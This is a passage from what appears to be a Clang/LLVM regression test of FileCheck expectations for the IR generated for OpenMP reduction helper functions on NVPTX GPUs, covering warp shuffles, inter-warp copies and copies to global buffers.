[[TMP37:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK4-NEXT: [[TMP38:%.*]] = and i1 [[TMP36]], [[TMP37]] // CHECK4-NEXT: [[TMP39:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK4-NEXT: [[TMP40:%.*]] = and i16 [[TMP6]], 1 // CHECK4-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP40]], 0 // CHECK4-NEXT: [[TMP42:%.*]] = and i1 [[TMP39]], [[TMP41]] // CHECK4-NEXT: [[TMP43:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK4-NEXT: [[TMP44:%.*]] = and i1 [[TMP42]], [[TMP43]] // CHECK4-NEXT: [[TMP45:%.*]] = or i1 [[TMP35]], [[TMP38]] // CHECK4-NEXT: [[TMP46:%.*]] = or i1 [[TMP45]], [[TMP44]] // CHECK4-NEXT: br i1 [[TMP46]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK4: then: // CHECK4-NEXT: [[TMP47:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK4-NEXT: [[TMP48:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK4-NEXT: call void @"_omp$reduction$reduction_func13"(i8* [[TMP47]], i8* [[TMP48]]) #[[ATTR3]] // CHECK4-NEXT: br label [[IFCONT:%.*]] // CHECK4: else: // CHECK4-NEXT: br label [[IFCONT]] // CHECK4: ifcont: // CHECK4-NEXT: [[TMP49:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK4-NEXT: [[TMP50:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK4-NEXT: [[TMP51:%.*]] = and i1 [[TMP49]], [[TMP50]] // CHECK4-NEXT: br i1 [[TMP51]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK4: then6: // CHECK4-NEXT: [[TMP52:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP53:%.*]] = load i8*, i8** [[TMP52]], align 4 // CHECK4-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK4-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 4 // CHECK4-NEXT: [[TMP56:%.*]] = bitcast i8* [[TMP53]] to i32* // CHECK4-NEXT: [[TMP57:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK4-NEXT: [[TMP58:%.*]] = load i32, i32* [[TMP56]], align 4 // CHECK4-NEXT: store i32 [[TMP58]], i32* [[TMP57]], align 4 // CHECK4-NEXT: [[TMP59:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[TMP60:%.*]] = load i8*, i8** [[TMP59]], align 4 // CHECK4-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK4-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 4 // CHECK4-NEXT: [[TMP63:%.*]] = bitcast i8* [[TMP60]] to i16* // CHECK4-NEXT: [[TMP64:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK4-NEXT: [[TMP65:%.*]] = load i16, i16* [[TMP63]], align 2 // CHECK4-NEXT: store i16 [[TMP65]], i16* [[TMP64]], align 2 // CHECK4-NEXT: br label [[IFCONT8:%.*]] // CHECK4: else7: // CHECK4-NEXT: br label [[IFCONT8]] // CHECK4: ifcont8: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func15 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK4-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4:[0-9]+]], i32 [[TMP2]]) // CHECK4-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK4-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK4: then: // CHECK4-NEXT: [[TMP5:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP6:%.*]] = load i8*, i8** [[TMP5]], align 4 // CHECK4-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to i32* // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK4-NEXT: [[TMP9:%.*]] = load i32, i32* [[TMP7]], align 4 // CHECK4-NEXT: store volatile i32 [[TMP9]], i32 addrspace(3)* [[TMP8]], align 4 // CHECK4-NEXT: br label [[IFCONT:%.*]] // CHECK4: else: // CHECK4-NEXT: br label [[IFCONT]] // CHECK4: ifcont: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK4-NEXT: [[TMP10:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP10]] // CHECK4-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK4: then4: // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK4-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK4-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to i32* // CHECK4-NEXT: [[TMP15:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP11]], align 4 // CHECK4-NEXT: store i32 [[TMP15]], i32* [[TMP14]], align 4 // CHECK4-NEXT: br label [[IFCONT6:%.*]] // CHECK4: else5: // CHECK4-NEXT: br label [[IFCONT6]] // CHECK4: ifcont6: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK4-NEXT: [[WARP_MASTER7:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK4-NEXT: br i1 [[WARP_MASTER7]], label [[THEN8:%.*]], label [[ELSE9:%.*]] // CHECK4: then8: // CHECK4-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK4-NEXT: [[TMP18:%.*]] = bitcast i8* [[TMP17]] to i16* // CHECK4-NEXT: [[TMP19:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK4-NEXT: [[TMP20:%.*]] = bitcast i32 addrspace(3)* [[TMP19]] to i16 addrspace(3)* // CHECK4-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP18]], align 2 // CHECK4-NEXT: store volatile i16 [[TMP21]], i16 addrspace(3)* [[TMP20]], align 2 // CHECK4-NEXT: br label [[IFCONT10:%.*]] // CHECK4: else9: // CHECK4-NEXT: br label [[IFCONT10]] // CHECK4: ifcont10: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK4-NEXT: [[TMP22:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[IS_ACTIVE_THREAD11:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP22]] // CHECK4-NEXT: br i1 [[IS_ACTIVE_THREAD11]], label [[THEN12:%.*]], label [[ELSE13:%.*]] // CHECK4: then12: // CHECK4-NEXT: [[TMP23:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK4-NEXT: [[TMP24:%.*]] = bitcast i32 addrspace(3)* [[TMP23]] to i16 addrspace(3)* // CHECK4-NEXT: [[TMP25:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP26:%.*]] = load i8*, i8** [[TMP25]], align 4 // CHECK4-NEXT: [[TMP27:%.*]] = bitcast i8* [[TMP26]] to i16* // CHECK4-NEXT: [[TMP28:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP24]], align 2 // CHECK4-NEXT: store i16 [[TMP28]], i16* [[TMP27]], align 2 // CHECK4-NEXT: br label [[IFCONT14:%.*]] // CHECK4: else13: // CHECK4-NEXT: br label [[IFCONT14]] // CHECK4: ifcont14: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func17 // CHECK4-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK4-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK4-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK4-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK4-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK4-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK4-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK4-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK4-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK4-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK4-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK4-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[TMP16:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK4-NEXT: [[TMP17:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP16]]) // CHECK4-NEXT: store i32 [[TMP17]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK4-NEXT: [[TMP18:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK4-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK4-NEXT: [[TMP20:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK4-NEXT: store i8* [[TMP20]], i8** [[TMP11]], align 4 // CHECK4-NEXT: [[TMP21:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK4-NEXT: [[TMP22:%.*]] = load i8*, i8** [[TMP21]], align 4 // CHECK4-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[TMP24:%.*]] = bitcast i8* [[TMP22]] to i16* // CHECK4-NEXT: [[TMP25:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK4-NEXT: [[TMP26:%.*]] = bitcast i16* [[TMP25]] to i8* // CHECK4-NEXT: [[TMP27:%.*]] = load i16, i16* [[TMP24]], align 2 // CHECK4-NEXT: [[TMP28:%.*]] = sext i16 [[TMP27]] to i32 // CHECK4-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[TMP29:%.*]] = trunc i32 [[NVPTX_WARP_SIZE5]] to i16 // CHECK4-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP28]], i16 [[TMP7]], i16 [[TMP29]]) // CHECK4-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK4-NEXT: store i16 [[TMP31]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK4-NEXT: [[TMP32:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK4-NEXT: [[TMP33:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i32 1 // CHECK4-NEXT: [[TMP34:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK4-NEXT: store i8* [[TMP34]], i8** [[TMP23]], align 4 // CHECK4-NEXT: [[TMP35:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK4-NEXT: [[TMP36:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK4-NEXT: [[TMP37:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK4-NEXT: [[TMP38:%.*]] = and i1 [[TMP36]], [[TMP37]] // CHECK4-NEXT: [[TMP39:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK4-NEXT: [[TMP40:%.*]] = and i16 [[TMP6]], 1 // CHECK4-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP40]], 0 // CHECK4-NEXT: [[TMP42:%.*]] = and i1 [[TMP39]], [[TMP41]] // CHECK4-NEXT: [[TMP43:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK4-NEXT: [[TMP44:%.*]] = and i1 [[TMP42]], [[TMP43]] // CHECK4-NEXT: [[TMP45:%.*]] = or i1 [[TMP35]], [[TMP38]] // CHECK4-NEXT: [[TMP46:%.*]] = or i1 [[TMP45]], [[TMP44]] // CHECK4-NEXT: br i1 [[TMP46]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK4: then: // CHECK4-NEXT: [[TMP47:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK4-NEXT: [[TMP48:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK4-NEXT: call void @"_omp$reduction$reduction_func16"(i8* [[TMP47]], i8* [[TMP48]]) #[[ATTR3]] // CHECK4-NEXT: br label [[IFCONT:%.*]] // CHECK4: else: // CHECK4-NEXT: br label [[IFCONT]] // CHECK4: ifcont: // CHECK4-NEXT: [[TMP49:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK4-NEXT: [[TMP50:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK4-NEXT: [[TMP51:%.*]] = and i1 [[TMP49]], [[TMP50]] // CHECK4-NEXT: br i1 [[TMP51]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK4: then6: // CHECK4-NEXT: [[TMP52:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP53:%.*]] = load i8*, i8** [[TMP52]], align 4 // CHECK4-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK4-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 4 // CHECK4-NEXT: [[TMP56:%.*]] = bitcast i8* [[TMP53]] to i32* // CHECK4-NEXT: [[TMP57:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK4-NEXT: [[TMP58:%.*]] = load i32, i32* [[TMP56]], align 4 // CHECK4-NEXT: store i32 [[TMP58]], i32* [[TMP57]], align 4 // CHECK4-NEXT: [[TMP59:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[TMP60:%.*]] = load i8*, i8** [[TMP59]], align 4 // CHECK4-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK4-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 4 // CHECK4-NEXT: [[TMP63:%.*]] = bitcast i8* [[TMP60]] to i16* // CHECK4-NEXT: [[TMP64:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK4-NEXT: [[TMP65:%.*]] = load i16, i16* [[TMP63]], align 2 // CHECK4-NEXT: store i16 [[TMP65]], i16* [[TMP64]], align 2 // CHECK4-NEXT: br label [[IFCONT8:%.*]] // CHECK4: else7: // CHECK4-NEXT: br label [[IFCONT8]] // CHECK4: ifcont8: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func18 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK4-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK4-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK4-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK4: then: // CHECK4-NEXT: [[TMP5:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP6:%.*]] = load i8*, i8** [[TMP5]], align 4 // CHECK4-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to i32* // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK4-NEXT: [[TMP9:%.*]] = load i32, i32* [[TMP7]], align 4 // CHECK4-NEXT: store volatile i32 [[TMP9]], i32 addrspace(3)* [[TMP8]], align 4 // CHECK4-NEXT: br label [[IFCONT:%.*]] // CHECK4: else: // CHECK4-NEXT: br label [[IFCONT]] // CHECK4: ifcont: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK4-NEXT: [[TMP10:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP10]] // CHECK4-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK4: then4: // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK4-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK4-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to i32* // CHECK4-NEXT: [[TMP15:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP11]], align 4 // CHECK4-NEXT: store i32 [[TMP15]], i32* [[TMP14]], align 4 // CHECK4-NEXT: br label [[IFCONT6:%.*]] // CHECK4: else5: // CHECK4-NEXT: br label [[IFCONT6]] // CHECK4: ifcont6: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK4-NEXT: [[WARP_MASTER7:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK4-NEXT: br i1 [[WARP_MASTER7]], label [[THEN8:%.*]], label [[ELSE9:%.*]] // CHECK4: then8: // CHECK4-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK4-NEXT: [[TMP18:%.*]] = bitcast i8* [[TMP17]] to i16* // CHECK4-NEXT: [[TMP19:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK4-NEXT: [[TMP20:%.*]] = bitcast i32 addrspace(3)* [[TMP19]] to i16 addrspace(3)* // CHECK4-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP18]], align 2 // CHECK4-NEXT: store volatile i16 [[TMP21]], i16 addrspace(3)* [[TMP20]], align 2 // CHECK4-NEXT: br label [[IFCONT10:%.*]] // CHECK4: else9: // CHECK4-NEXT: br label [[IFCONT10]] // CHECK4: ifcont10: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK4-NEXT: [[TMP22:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[IS_ACTIVE_THREAD11:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP22]] // CHECK4-NEXT: br i1 [[IS_ACTIVE_THREAD11]], label [[THEN12:%.*]], label [[ELSE13:%.*]] // CHECK4: then12: // CHECK4-NEXT: [[TMP23:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK4-NEXT: [[TMP24:%.*]] = bitcast i32 addrspace(3)* [[TMP23]] to i16 addrspace(3)* // CHECK4-NEXT: [[TMP25:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP26:%.*]] = load i8*, i8** [[TMP25]], align 4 // CHECK4-NEXT: [[TMP27:%.*]] = bitcast i8* [[TMP26]] to i16* // CHECK4-NEXT: [[TMP28:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP24]], align 2 // CHECK4-NEXT: store i16 [[TMP28]], i16* [[TMP27]], align 2 // CHECK4-NEXT: br label [[IFCONT14:%.*]] // CHECK4: else13: // CHECK4-NEXT: br label [[IFCONT14]] // CHECK4: ifcont14: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func19 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK4-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.4* // CHECK4-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK4-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK4-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 0 // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK4-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK4-NEXT: store i32 [[TMP12]], i32* [[TMP11]], align 128 // CHECK4-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK4-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK4-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 1 // CHECK4-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK4-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP15]], align 2 // CHECK4-NEXT: store i16 [[TMP17]], i16* [[TMP16]], align 128 // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func20 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // 